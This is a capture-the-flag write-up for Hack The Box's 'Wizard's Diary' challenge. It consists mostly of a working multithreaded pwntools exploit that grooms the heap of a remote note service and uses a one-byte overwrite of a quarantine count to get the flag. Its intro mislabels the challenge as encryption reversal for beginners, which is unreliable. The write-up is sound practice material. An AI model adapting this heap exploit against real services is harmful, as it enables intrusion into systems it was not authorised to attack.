HackTheBox Wizard's Diary Writeup
Explore the basics of cybersecurity in the Wizard’s Diary Challenge on Hack The Box. This hard-level Challenge introduces encryption reversal and file handling concepts in a clear and accessible way, perfect for beginners.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from pwn import *
import sys
import concurrent.futures
def exploit_process(host, port):
def get_process():
return remote(host, port)
def new_note(p, size, value):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b':', str(size).encode())
p.sendlineafter(b':', value)
def remove_note(p, idx):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b':', str(idx).encode())
def fix_note(p, idx, off, byte):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b':', str(idx).encode())
p.sendlineafter(b':', str(off).encode())
p.sendlineafter(b':', byte)
def show_note(p, idx, off):
p.sendlineafter(b'> ', b'4')
p.sendlineafter(b':', str(idx).encode())
p.sendlineafter(b':', str(off).encode())
p.recvuntil(b'Byte: ')
b = p.recvline().rstrip()
return b
try:
p = get_process()
p.sendlineafter(b'Name: ', b'guest')
p.sendline(b'i'*8)
new_note(p, 8176, b'note_0')
for i in range(0, 4):
new_note(p, 100, b'ABCD')
for i in range(0, 4):
remove_note(p, i+1)
log.info('Set Count to 4')
batch_0 = 0
comment = 0
i = 0
while batch_0 == 0 or comment == 0:
if i > 0x10000:
p.close()
log.error('Failed! i was exhausted')
return None
i += 16
c = show_note(p, 0, i)
if c == b'\x04':
log.success(f'Found Count at i = {i}!')
batch_0 = i + 8
i += 8
elif c == b'i':
log.success(f'Found comment at i = {i}!')
comment = i - 8
if batch_0 > comment:
log.error('Failed: Batch lower in memory than comment')
p.close()
return None
log.info('Calculating offset and writing LSB...')
offset = comment - batch_0
idx_count = offset // 8
second_lsb = idx_count >> 8
fix_note(p, 0, batch_0 - 8 + 1, chr(second_lsb).encode())
log.info('Lots of frees')
for i in range(0xff):
new_note(p, 100, b'A')
remove_note(p, 1)
log.info('Printing Flag...')
p.sendlineafter(b'> ', b'1337')
flag = p.recvline().decode()
p.close()
return flag
except Exception as e:
log.error(f'Error in exploit: {e}')
return None
def main():
if len(sys.argv) < 3:
print(f'Usage: python {sys.argv[0]} <ip:port> <count>')
sys.exit(1)
count = int(sys.argv[2])
host, port = sys.argv[1].split(':')
port = int(port)
with concurrent.futures.ThreadPoolExecutor(max_workers=count) as executor:
futures = [executor.submit(exploit_process, host, port) for _ in range(count)]
for future in concurrent.futures.as_completed(futures):
try:
result = future.result()
if result:
log.success(f'Successful Flag: {result}')
except Exception as e:
log.error(f'Exploit task failed: {e}')
if __name__ == '__main__':
main()
It takes several attempts, but setting the Count
to 100 should do the trick in about 5 minutes.
Summary
The Wizard’s Diary Challenge on Hack The Box is a hard-level challenge focused on exploiting memory vulnerabilities in a note management system. The Python script, using Pwntools, interacts with the service to manipulate memory by creating, modifying, and removing notes. The goal is to exploit memory offsets, specifically targeting the Count
element in the QuarantineBatch
structure, to overwrite critical integers and bypass security checks. The challenge requires multiple attempts and advanced exploitation techniques, including using a one-byte overwrite to manipulate heap memory, ultimately revealing the flag. This exploit demonstrates the effectiveness of heap manipulation despite defenses like randomised allocation and checks on the Count
value.